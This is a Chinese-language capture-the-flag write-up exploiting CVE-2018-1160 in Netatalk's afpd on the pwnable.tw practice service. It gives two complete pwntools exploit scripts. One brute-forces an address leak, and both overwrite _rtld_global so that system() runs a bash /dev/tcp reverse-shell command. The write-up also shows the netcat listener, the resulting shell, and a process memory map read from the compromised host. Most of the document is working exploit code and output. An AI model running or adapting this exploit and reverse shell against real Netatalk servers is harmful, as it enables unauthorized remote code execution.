通过其他题目测试,pwnable.tw远程使用:bash -c “bash -i>& /dev/tcp/ip/port 0<&1” 反弹shell是有效的

pwnable.tw CVE-2018-1160 Write up中,提到远程版本为ubuntu18.04.1,下载相同镜像,测试题目情况下,libc基址与_rtld_global偏移为 0xed2060,故最终exp如下:

from pwn import *
context(endian='little')

ip   = "chall.pwnable.tw"
port = 10002
libc = ELF("./libc-18292bd12d37bfaf58e8dded9db7f1f5da1192cb.so")

def gen_dsi(data):
    dsi  = b'\x00\x04\x00\x01'
    dsi += p32(0)
    dsi += p32(len(data),endian='big')
    dsi += p32(0)
    dsi += data
    return dsi

def aaw(io,addr,data):
    payload  = b'\x01'+ p8(0x18)+ b'a'*0x10 + p64(addr)
    io.send(gen_dsi(payload))
    io.recv()
    io.send(gen_dsi(data))

def boom():
    leak = b''
    for j in range(8):
        for i in range(256):
            if(j>1 and j<6): i = 255 - i
            io = remote(ip,port)
            payload  = b'\x01'+ p8(0x11+j)+ b'a'*0x10 + leak + p8(i)
            io.send(gen_dsi(payload))
            try:
                a = io.recv()
                leak += p8(i)
                log.success(str(hex(i)))
                io.close()
                break
            except:
                io.close()
    return u64(leak)

leak_addr = boom()
log.success(hex(leak_addr))

for i in range(0x0000000,0xffff000,0x1000):
    libc.address = leak_addr - i
    rtld = libc.address + 0xed2060
    cmd = b'bash -c "bash  -i>& /dev/tcp/ip/port 0<&1"'
    try:
        io = remote(ip,port)
        aaw(io,rtld+2312,cmd.ljust(0x5f8,b'\x00')+p64(libc.symbols['system']))
        io.close()
    except:
        io.close()

监听端口后,开始爆破,使用linode日本服务器,大约五分钟后,即可getshell:

ubuntu@VM-16-6-ubuntu:~$ nc -l 8888

bash: cannot set terminal process group (7): Inappropriate ioctl for device
bash: no job control in this shell
netatalk@08e1e5af1e65:/$ 

拿shell后,查看远程目标内存布局(2021.11.6):

netatalk@08e1e5af1e65:/$ cat /proc/8/maps
cat /proc/8/maps
563f3dcc3000-563f3dd05000 r-xp 00000000 08:00 348786       /home/netatalk/afpd
563f3df04000-563f3df06000 r--p 00041000 08:00 348786       /home/netatalk/afpd
563f3df06000-563f3df09000 rw-p 00043000 08:00 348786       /home/netatalk/afpd
563f3df09000-563f3df28000 rw-p 00000000 00:00 0 
563f3e18f000-563f3e1fd000 rw-p 00000000 00:00 0            [heap]
7fa9b7479000-7fa9b7484000 r-xp 00000000 08:00 2534640      /lib/x86_64-linux-gnu/libnss_files-2.27.so
7fa9b7484000-7fa9b7683000 ---p 0000b000 08:00 2534640      /lib/x86_64-linux-gnu/libnss_files-2.27.so
7fa9b7683000-7fa9b7684000 r--p 0000a000 08:00 2534640      /lib/x86_64-linux-gnu/libnss_files-2.27.so
7fa9b7684000-7fa9b7685000 rw-p 0000b000 08:00 2534640      /lib/x86_64-linux-gnu/libnss_files-2.27.so
7fa9b7685000-7fa9b768b000 rw-p 00000000 00:00 0 
7fa9b768b000-7fa9b7828000 r-xp 00000000 08:00 2534623      /lib/x86_64-linux-gnu/libm-2.27.so
7fa9b7828000-7fa9b7a27000 ---p 0019d000 08:00 2534623      /lib/x86_64-linux-gnu/libm-2.27.so
7fa9b7a27000-7fa9b7a28000 r--p 0019c000 08:00 2534623      /lib/x86_64-linux-gnu/libm-2.27.so
7fa9b7a28000-7fa9b7a29000 rw-p 0019d000 08:00 2534623      /lib/x86_64-linux-gnu/libm-2.27.so
7fa9b7a29000-7fa9b7a30000 r-xp 00000000 08:00 2535365      /usr/lib/x86_64-linux-gnu/libffi.so.6.0.4
7fa9b7a30000-7fa9b7c2f000 ---p 00007000 08:00 2535365      /usr/lib/x86_64-linux-gnu/libffi.so.6.0.4
7fa9b7c2f000-7fa9b7c30000 r--p 00006000 08:00 2535365      /usr/lib/x86_64-linux-gnu/libffi.so.6.0.4
7fa9b7c30000-7fa9b7c31000 rw-p 00007000 08:00 2535365      /usr/lib/x86_64-linux-gnu/libffi.so.6.0.4
7fa9b7c31000-7fa9b7c3a000 r-xp 00000000 08:00 2534606      /lib/x86_64-linux-gnu/libcrypt-2.27.so
7fa9b7c3a000-7fa9b7e39000 ---p 00009000 08:00 2534606      /lib/x86_64-linux-gnu/libcrypt-2.27.so
7fa9b7e39000-7fa9b7e3a000 r--p 00008000 08:00 2534606      /lib/x86_64-linux-gnu/libcrypt-2.27.so
7fa9b7e3a000-7fa9b7e3b000 rw-p 00009000 08:00 2534606      /lib/x86_64-linux-gnu/libcrypt-2.27.so
7fa9b7e3b000-7fa9b7e69000 rw-p 00000000 00:00 0 
7fa9b7e69000-7fa9b7f6d000 r-xp 00000000 08:00 1041433      /usr/lib/x86_64-linux-gnu/libsqlite3.so.0.8.6
7fa9b7f6d000-7fa9b816c000 ---p 00104000 08:00 1041433      /usr/lib/x86_64-linux-gnu/libsqlite3.so.0.8.6
7fa9b816c000-7fa9b816f000 r--p 00103000 08:00 1041433      /usr/lib/x86_64-linux-gnu/libsqlite3.so.0.8.6
7fa9b816f000-7fa9b8171000 rw-p 00106000 08:00 1041433      /usr/lib/x86_64-linux-gnu/libsqlite3.so.0.8.6
7fa9b8171000-7fa9b8172000 rw-p 00000000 00:00 0 
7fa9b8172000-7fa9b81b8000 r-xp 00000000 08:00 1041335      /usr/lib/x86_64-linux-gnu/libhx509.so.5.0.0
7fa9b81b8000-7fa9b83b7000 ---p 00046000 08:00 1041335      /usr/lib/x86_64-linux-gnu/libhx509.so.5.0.0
7fa9b83b7000-7fa9b83ba000 r--p 00045000 08:00 1041335      /usr/lib/x86_64-linux-gnu/libhx509.so.5.0.0
7fa9b83ba000-7fa9b83bb000 rw-p 00048000 08:00 1041335      /usr/lib/x86_64-linux-gnu/libhx509.so.5.0.0
7fa9b83bb000-7fa9b83bc000 rw-p 00000000 00:00 0 
7fa9b83bc000-7fa9b83ca000 r-xp 00000000 08:00 1041320      /usr/lib/x86_64-linux-gnu/libheimbase.so.1.0.0
7fa9b83ca000-7fa9b85c9000 ---p 0000e000 08:00 1041320      /usr/lib/x86_64-linux-gnu/libheimbase.so.1.0.0
7fa9b85c9000-7fa9b85ca000 r--p 0000d000 08:00 1041320      /usr/lib/x86_64-linux-gnu/libheimbase.so.1.0.0
7fa9b85ca000-7fa9b85cb000 rw-p 0000e000 08:00 1041320      /usr/lib/x86_64-linux-gnu/libheimbase.so.1.0.0
7fa9b85cb000-7fa9b85f3000 r-xp 00000000 08:00 1041445      /usr/lib/x86_64-linux-gnu/libwind.so.0.0.0
7fa9b85f3000-7fa9b87f2000 ---p 00028000 08:00 1041445      /usr/lib/x86_64-linux-gnu/libwind.so.0.0.0
7fa9b87f2000-7fa9b87f3000 r--p 00027000 08:00 1041445      /usr/lib/x86_64-linux-gnu/libwind.so.0.0.0
7fa9b87f3000-7fa9b87f4000 rw-p 00028000 08:00 1041445      /usr/lib/x86_64-linux-gnu/libwind.so.0.0.0
7fa9b87f4000-7fa9b8873000 r-xp 00000000 08:00 2535371      /usr/lib/x86_64-linux-gnu/libgmp.so.10.3.2
7fa9b8873000-7fa9b8a73000 ---p 0007f000 08:00 2535371      /usr/lib/x86_64-linux-gnu/libgmp.so.10.3.2
7fa9b8a73000-7fa9b8a74000 r--p 0007f000 08:00 2535371      /usr/lib/x86_64-linux-gnu/libgmp.so.10.3.2
7fa9b8a74000-7fa9b8a75000 rw-p 00080000 08:00 2535371      /usr/lib/x86_64-linux-gnu/libgmp.so.10.3.2
7fa9b8a75000-7fa9b8aa8000 r-xp 00000000 08:00 2535375      /usr/lib/x86_64-linux-gnu/libhogweed.so.4.4
7fa9b8aa8000-7fa9b8ca7000 ---p 00033000 08:00 2535375      /usr/lib/x86_64-linux-gnu/libhogweed.so.4.4
7fa9b8ca7000-7fa9b8ca8000 r--p 00032000 08:00 2535375      /usr/lib/x86_64-linux-gnu/libhogweed.so.4.4
7fa9b8ca8000-7fa9b8ca9000 rw-p 00033000 08:00 2535375      /usr/lib/x86_64-linux-gnu/libhogweed.so.4.4
7fa9b8ca9000-7fa9b8cdd000 r-xp 00000000 08:00 2535385      /usr/lib/x86_64-linux-gnu/libnettle.so.6.4
7fa9b8cdd000-7fa9b8edc000 ---p 00034000 08:00 2535385      /usr/lib/x86_64-linux-gnu/libnettle.so.6.4
7fa9b8edc000-7fa9b8ede000 r--p 00033000 08:00 2535385      /usr/lib/x86_64-linux-gnu/libnettle.so.6.4
7fa9b8ede000-7fa9b8edf000 rw-p 00035000 08:00 2535385      /usr/lib/x86_64-linux-gnu/libnettle.so.6.4
7fa9b8edf000-7fa9b8ef0000 r-xp 00000000 08:00 2535398      /usr/lib/x86_64-linux-gnu/libtasn1.so.6.5.5
7fa9b8ef0000-7fa9b90f0000 ---p 00011000 08:00 2535398      /usr/lib/x86_64-linux-gnu/libtasn1.so.6.5.5
7fa9b90f0000-7fa9b90f1000 r--p 00011000 08:00 2535398      /usr/lib/x86_64-linux-gnu/libtasn1.so.6.5.5
7fa9b90f1000-7fa9b90f2000 rw-p 00012000 08:00 2535398      /usr/lib/x86_64-linux-gnu/libtasn1.so.6.5.5
7fa9b90f2000-7fa9b926c000 r-xp 00000000 08:00 2535402      /usr/lib/x86_64-linux-gnu/libunistring.so.2.1.0
7fa9b926c000-7fa9b946c000 ---p 0017a000 08:00 2535402      /usr/lib/x86_64-linux-gnu/libunistring.so.2.1.0
7fa9b946c000-7fa9b946f000 r--p 0017a000 08:00 2535402      /usr/lib/x86_64-linux-gnu/libunistring.so.2.1.0
7fa9b946f000-7fa9b9470000 rw-p 0017d000 08:00 2535402      /usr/lib/x86_64-linux-gnu/libunistring.so.2.1.0
7fa9b9470000-7fa9b948c000 r-xp 00000000 08:00 2535377      /usr/lib/x86_64-linux-gnu/libidn2.so.0.3.3
7fa9b948c000-7fa9b968b000 ---p 0001c000 08:00 2535377      /usr/lib/x86_64-linux-gnu/libidn2.so.0.3.3
7fa9b968b000-7fa9b968c000 r--p 0001b000 08:00 2535377      /usr/lib/x86_64-linux-gnu/libidn2.so.0.3.3
7fa9b968c000-7fa9b968d000 rw-p 0001c000 08:00 2535377      /usr/lib/x86_64-linux-gnu/libidn2.so.0.3.3
7fa9b968d000-7fa9b97a7000 r-xp 00000000 08:00 2535387      /usr/lib/x86_64-linux-gnu/libp11-kit.so.0.3.0
7fa9b97a7000-7fa9b99a7000 ---p 0011a000 08:00 2535387      /usr/lib/x86_64-linux-gnu/libp11-kit.so.0.3.0
7fa9b99a7000-7fa9b99b1000 r--p 0011a000 08:00 2535387      /usr/lib/x86_64-linux-gnu/libp11-kit.so.0.3.0
7fa9b99b1000-7fa9b99bb000 rw-p 00124000 08:00 2535387      /usr/lib/x86_64-linux-gnu/libp11-kit.so.0.3.0
7fa9b99bb000-7fa9b99bc000 rw-p 00000000 00:00 0 
7fa9b99bc000-7fa9b99d8000 r-xp 00000000 08:00 2534686      /lib/x86_64-linux-gnu/libz.so.1.2.11
7fa9b99d8000-7fa9b9bd7000 ---p 0001c000 08:00 2534686      /lib/x86_64-linux-gnu/libz.so.1.2.11
7fa9b9bd7000-7fa9b9bd8000 r--p 0001b000 08:00 2534686      /lib/x86_64-linux-gnu/libz.so.1.2.11
7fa9b9bd8000-7fa9b9bd9000 rw-p 0001c000 08:00 2534686      /lib/x86_64-linux-gnu/libz.so.1.2.11
7fa9b9bd9000-7fa9b9bee000 r-xp 00000000 08:00 1041418      /usr/lib/x86_64-linux-gnu/libroken.so.18.1.0
7fa9b9bee000-7fa9b9ded000 ---p 00015000 08:00 1041418      /usr/lib/x86_64-linux-gnu/libroken.so.18.1.0
7fa9b9ded000-7fa9b9dee000 r--p 00014000 08:00 1041418      /usr/lib/x86_64-linux-gnu/libroken.so.18.1.0
7fa9b9dee000-7fa9b9def000 rw-p 00015000 08:00 1041418      /usr/lib/x86_64-linux-gnu/libroken.so.18.1.0
7fa9b9def000-7fa9b9e22000 r-xp 00000000 08:00 1041305      /usr/lib/x86_64-linux-gnu/libhcrypto.so.4.1.0
7fa9b9e22000-7fa9ba021000 ---p 00033000 08:00 1041305      /usr/lib/x86_64-linux-gnu/libhcrypto.so.4.1.0
7fa9ba021000-7fa9ba023000 r--p 00032000 08:00 1041305      /usr/lib/x86_64-linux-gnu/libhcrypto.so.4.1.0
7fa9ba023000-7fa9ba024000 rw-p 00034000 08:00 1041305      /usr/lib/x86_64-linux-gnu/libhcrypto.so.4.1.0
7fa9ba024000-7fa9ba025000 rw-p 00000000 00:00 0 
7fa9ba025000-7fa9ba028000 r-xp 00000000 08:00 2534605      /lib/x86_64-linux-gnu/libcom_err.so.2.1
7fa9ba028000-7fa9ba227000 ---p 00003000 08:00 2534605      /lib/x86_64-linux-gnu/libcom_err.so.2.1
7fa9ba227000-7fa9ba228000 r--p 00002000 08:00 2534605      /lib/x86_64-linux-gnu/libcom_err.so.2.1
7fa9ba228000-7fa9ba229000 rw-p 00003000 08:00 2534605      /lib/x86_64-linux-gnu/libcom_err.so.2.1
7fa9ba229000-7fa9ba2c7000 r-xp 00000000 08:00 1041260      /usr/lib/x86_64-linux-gnu/libasn1.so.8.0.0
7fa9ba2c7000-7fa9ba4c7000 ---p 0009e000 08:00 1041260      /usr/lib/x86_64-linux-gnu/libasn1.so.8.0.0
7fa9ba4c7000-7fa9ba4c8000 r--p 0009e000 08:00 1041260      /usr/lib/x86_64-linux-gnu/libasn1.so.8.0.0
7fa9ba4c8000-7fa9ba4cb000 rw-p 0009f000 08:00 1041260      /usr/lib/x86_64-linux-gnu/libasn1.so.8.0.0
7fa9ba4cb000-7fa9ba552000 r-xp 00000000 08:00 1041348      /usr/lib/x86_64-linux-gnu/libkrb5.so.26.0.0
7fa9ba552000-7fa9ba751000 ---p 00087000 08:00 1041348      /usr/lib/x86_64-linux-gnu/libkrb5.so.26.0.0
7fa9ba751000-7fa9ba755000 r--p 00086000 08:00 1041348      /usr/lib/x86_64-linux-gnu/libkrb5.so.26.0.0
7fa9ba755000-7fa9ba757000 rw-p 0008a000 08:00 1041348      /usr/lib/x86_64-linux-gnu/libkrb5.so.26.0.0
7fa9ba757000-7fa9ba758000 rw-p 00000000 00:00 0 
7fa9ba758000-7fa9ba760000 r-xp 00000000 08:00 1041326      /usr/lib/x86_64-linux-gnu/libheimntlm.so.0.1.0
7fa9ba760000-7fa9ba95f000 ---p 00008000 08:00 1041326      /usr/lib/x86_64-linux-gnu/libheimntlm.so.0.1.0
7fa9ba95f000-7fa9ba960000 r--p 00007000 08:00 1041326      /usr/lib/x86_64-linux-gnu/libheimntlm.so.0.1.0
7fa9ba960000-7fa9ba961000 rw-p 00008000 08:00 1041326      /usr/lib/x86_64-linux-gnu/libheimntlm.so.0.1.0
7fa9ba961000-7fa9baab8000 r-xp 00000000 08:00 2535373      /usr/lib/x86_64-linux-gnu/libgnutls.so.30.14.10
7fa9baab8000-7fa9bacb8000 ---p 00157000 08:00 2535373      /usr/lib/x86_64-linux-gnu/libgnutls.so.30.14.10
7fa9bacb8000-7fa9bacc4000 r--p 00157000 08:00 2535373      /usr/lib/x86_64-linux-gnu/libgnutls.so.30.14.10
7fa9bacc4000-7fa9bacc5000 rw-p 00163000 08:00 2535373      /usr/lib/x86_64-linux-gnu/libgnutls.so.30.14.10
7fa9bacc5000-7fa9bacc6000 rw-p 00000000 00:00 0 
7fa9bacc6000-7fa9bad03000 r-xp 00000000 08:00 1041293      /usr/lib/x86_64-linux-gnu/libgssapi.so.3.0.0
7fa9bad03000-7fa9baf03000 ---p 0003d000 08:00 1041293      /usr/lib/x86_64-linux-gnu/libgssapi.so.3.0.0
7fa9baf03000-7fa9baf05000 r--p 0003d000 08:00 1041293      /usr/lib/x86_64-linux-gnu/libgssapi.so.3.0.0
7fa9baf05000-7fa9baf07000 rw-p 0003f000 08:00 1041293      /usr/lib/x86_64-linux-gnu/libgssapi.so.3.0.0
7fa9baf07000-7fa9baf20000 r-xp 00000000 08:00 1041424      /usr/lib/x86_64-linux-gnu/libsasl2.so.2.0.25
7fa9baf20000-7fa9bb120000 ---p 00019000 08:00 1041424      /usr/lib/x86_64-linux-gnu/libsasl2.so.2.0.25
7fa9bb120000-7fa9bb121000 r--p 00019000 08:00 1041424      /usr/lib/x86_64-linux-gnu/libsasl2.so.2.0.25
7fa9bb121000-7fa9bb122000 rw-p 0001a000 08:00 1041424      /usr/lib/x86_64-linux-gnu/libsasl2.so.2.0.25
7fa9bb122000-7fa9bb139000 r-xp 00000000 08:00 2534661      /lib/x86_64-linux-gnu/libresolv-2.27.so
7fa9bb139000-7fa9bb339000 ---p 00017000 08:00 2534661      /lib/x86_64-linux-gnu/libresolv-2.27.so
7fa9bb339000-7fa9bb33a000 r--p 00017000 08:00 2534661      /lib/x86_64-linux-gnu/libresolv-2.27.so
7fa9bb33a000-7fa9bb33b000 rw-p 00018000 08:00 2534661      /lib/x86_64-linux-gnu/libresolv-2.27.so
7fa9bb33b000-7fa9bb33d000 rw-p 00000000 00:00 0 
7fa9bb33d000-7fa9bb34a000 r-xp 00000000 08:00 1041363      /usr/lib/x86_64-linux-gnu/liblber-2.4.so.2.10.8
7fa9bb34a000-7fa9bb549000 ---p 0000d000 08:00 1041363      /usr/lib/x86_64-linux-gnu/liblber-2.4.so.2.10.8
7fa9bb549000-7fa9bb54a000 r--p 0000c000 08:00 1041363      /usr/lib/x86_64-linux-gnu/liblber-2.4.so.2.10.8
7fa9bb54a000-7fa9bb54b000 rw-p 0000d000 08:00 1041363      /usr/lib/x86_64-linux-gnu/liblber-2.4.so.2.10.8
7fa9bb54b000-7fa9bb562000 r-xp 00000000 08:00 2534634      /lib/x86_64-linux-gnu/libnsl-2.27.so
7fa9bb562000-7fa9bb761000 ---p 00017000 08:00 2534634      /lib/x86_64-linux-gnu/libnsl-2.27.so
7fa9bb761000-7fa9bb762000 r--p 00016000 08:00 2534634      /lib/x86_64-linux-gnu/libnsl-2.27.so
7fa9bb762000-7fa9bb763000 rw-p 00017000 08:00 2534634      /lib/x86_64-linux-gnu/libnsl-2.27.so
7fa9bb763000-7fa9bb765000 rw-p 00000000 00:00 0 
7fa9bb765000-7fa9bb7b3000 r-xp 00000000 08:00 1041396      /usr/lib/x86_64-linux-gnu/libldap_r-2.4.so.2.10.8
7fa9bb7b3000-7fa9bb9b2000 ---p 0004e000 08:00 1041396      /usr/lib/x86_64-linux-gnu/libldap_r-2.4.so.2.10.8
7fa9bb9b2000-7fa9bb9b4000 r--p 0004d000 08:00 1041396      /usr/lib/x86_64-linux-gnu/libldap_r-2.4.so.2.10.8
7fa9bb9b4000-7fa9bb9b5000 rw-p 0004f000 08:00 1041396      /usr/lib/x86_64-linux-gnu/libldap_r-2.4.so.2.10.8
7fa9bb9b5000-7fa9bb9b7000 rw-p 00000000 00:00 0 
7fa9bb9b7000-7fa9bb9bb000 r-xp 00000000 08:00 2534590      /lib/x86_64-linux-gnu/libattr.so.1.1.0
7fa9bb9bb000-7fa9bbbba000 ---p 00004000 08:00 2534590      /lib/x86_64-linux-gnu/libattr.so.1.1.0
7fa9bbbba000-7fa9bbbbb000 r--p 00003000 08:00 2534590      /lib/x86_64-linux-gnu/libattr.so.1.1.0
7fa9bbbbb000-7fa9bbbbc000 rw-p 00004000 08:00 2534590      /lib/x86_64-linux-gnu/libattr.so.1.1.0
7fa9bbbbc000-7fa9bbbc4000 r-xp 00000000 08:00 1041226      /lib/x86_64-linux-gnu/libwrap.so.0.7.6
7fa9bbbc4000-7fa9bbdc4000 ---p 00008000 08:00 1041226      /lib/x86_64-linux-gnu/libwrap.so.0.7.6
7fa9bbdc4000-7fa9bbdc5000 r--p 00008000 08:00 1041226      /lib/x86_64-linux-gnu/libwrap.so.0.7.6
7fa9bbdc5000-7fa9bbdc6000 rw-p 00009000 08:00 1041226      /lib/x86_64-linux-gnu/libwrap.so.0.7.6
7fa9bbdc6000-7fa9bbfad000 r-xp 00000000 08:00 2534598      /lib/x86_64-linux-gnu/libc-2.27.so
7fa9bbfad000-7fa9bc1ad000 ---p 001e7000 08:00 2534598      /lib/x86_64-linux-gnu/libc-2.27.so
7fa9bc1ad000-7fa9bc1b1000 r--p 001e7000 08:00 2534598      /lib/x86_64-linux-gnu/libc-2.27.so
7fa9bc1b1000-7fa9bc1b3000 rw-p 001eb000 08:00 2534598      /lib/x86_64-linux-gnu/libc-2.27.so
7fa9bc1b3000-7fa9bc1b7000 rw-p 00000000 00:00 0 
7fa9bc1b7000-7fa9bc1d1000 r-xp 00000000 08:00 2534659      /lib/x86_64-linux-gnu/libpthread-2.27.so
7fa9bc1d1000-7fa9bc3d0000 ---p 0001a000 08:00 2534659      /lib/x86_64-linux-gnu/libpthread-2.27.so
7fa9bc3d0000-7fa9bc3d1000 r--p 00019000 08:00 2534659      /lib/x86_64-linux-gnu/libpthread-2.27.so
7fa9bc3d1000-7fa9bc3d2000 rw-p 0001a000 08:00 2534659      /lib/x86_64-linux-gnu/libpthread-2.27.so
7fa9bc3d2000-7fa9bc3d6000 rw-p 00000000 00:00 0 
7fa9bc3d6000-7fa9bc3dd000 r-xp 00000000 08:00 2534586      /lib/x86_64-linux-gnu/libacl.so.1.1.0
7fa9bc3dd000-7fa9bc5dc000 ---p 00007000 08:00 2534586      /lib/x86_64-linux-gnu/libacl.so.1.1.0
7fa9bc5dc000-7fa9bc5dd000 r--p 00006000 08:00 2534586      /lib/x86_64-linux-gnu/libacl.so.1.1.0
7fa9bc5dd000-7fa9bc5de000 rw-p 00007000 08:00 2534586      /lib/x86_64-linux-gnu/libacl.so.1.1.0
7fa9bc5de000-7fa9bc5e1000 r-xp 00000000 08:00 2534608      /lib/x86_64-linux-gnu/libdl-2.27.so
7fa9bc5e1000-7fa9bc7e0000 ---p 00003000 08:00 2534608      /lib/x86_64-linux-gnu/libdl-2.27.so
7fa9bc7e0000-7fa9bc7e1000 r--p 00002000 08:00 2534608      /lib/x86_64-linux-gnu/libdl-2.27.so
7fa9bc7e1000-7fa9bc7e2000 rw-p 00003000 08:00 2534608      /lib/x86_64-linux-gnu/libdl-2.27.so
7fa9bc7e2000-7fa9bc860000 r-xp 00000000 08:00 348787       /home/netatalk/libatalk.so.18
7fa9bc860000-7fa9bca5f000 ---p 0007e000 08:00 348787       /home/netatalk/libatalk.so.18
7fa9bca5f000-7fa9bca60000 r--p 0007d000 08:00 348787       /home/netatalk/libatalk.so.18
7fa9bca60000-7fa9bca62000 rw-p 0007e000 08:00 348787       /home/netatalk/libatalk.so.18
7fa9bca62000-7fa9bca70000 rw-p 00000000 00:00 0 
7fa9bca70000-7fa9bca97000 r-xp 00000000 08:00 2534580      /lib/x86_64-linux-gnu/ld-2.27.so
7fa9bcc81000-7fa9bcc92000 rw-p 00000000 00:00 0 
7fa9bcc95000-7fa9bcc97000 rw-p 00000000 00:00 0 
7fa9bcc97000-7fa9bcc98000 r--p 00027000 08:00 2534580      /lib/x86_64-linux-gnu/ld-2.27.so
7fa9bcc98000-7fa9bcc99000 rw-p 00028000 08:00 2534580      /lib/x86_64-linux-gnu/ld-2.27.so
7fa9bcc99000-7fa9bcc9a000 rw-p 00000000 00:00 0 
7ffdda198000-7ffdda1b9000 rw-p 00000000 00:00 0            [stack]
7ffdda1cb000-7ffdda1cd000 r--p 00000000 00:00 0            [vvar]
7ffdda1cd000-7ffdda1cf000 r-xp 00000000 00:00 0            [vdso]
ffffffffff600000-ffffffffff601000 r-xp 00000000 00:00 0    [vsyscall]

有了libc基址后,就可以一发搞定了,因为不用爆破,所以可以在本地打(2021.11.6):

from pwn import *
context(endian='little')

ip   = "chall.pwnable.tw"
port = 10002
libc = ELF("./libc-18292bd12d37bfaf58e8dded9db7f1f5da1192cb.so")

def gen_dsi(data):
    dsi  = b'\x00\x04\x00\x01'
    dsi += p32(0)
    dsi += p32(len(data),endian='big')
    dsi += p32(0)
    dsi += data
    return dsi

def aaw(io,addr,data):
    payload  = b'\x01'+ p8(0x18)+ b'a'*0x10 + p64(addr)
    io.send(gen_dsi(payload))
    io.recv()
    io.send(gen_dsi(data))

libc.address = 0x7fa9bbdc6000
rtld = libc.address + 0xed2060
cmd = b'bash -c "bash  -i>& /dev/tcp/ip/port 0<&1"'

io = remote(ip,port)
aaw(io,rtld+2312,cmd.ljust(0x5f8,b'\x00')+p64(libc.symbols['system']))
io.close()

但发现打完三分钟后才能收到shell,故情况和我本地相同:没有在tcp断掉后立即结束进程,推测原因可能是配置的timeout并没有生效。最后的效果很像三体中的罗辑打187J3X1,打完200多年后才看到打成了。你们可以摆脱我了:我打算冬眠,当收到shell时,叫醒我…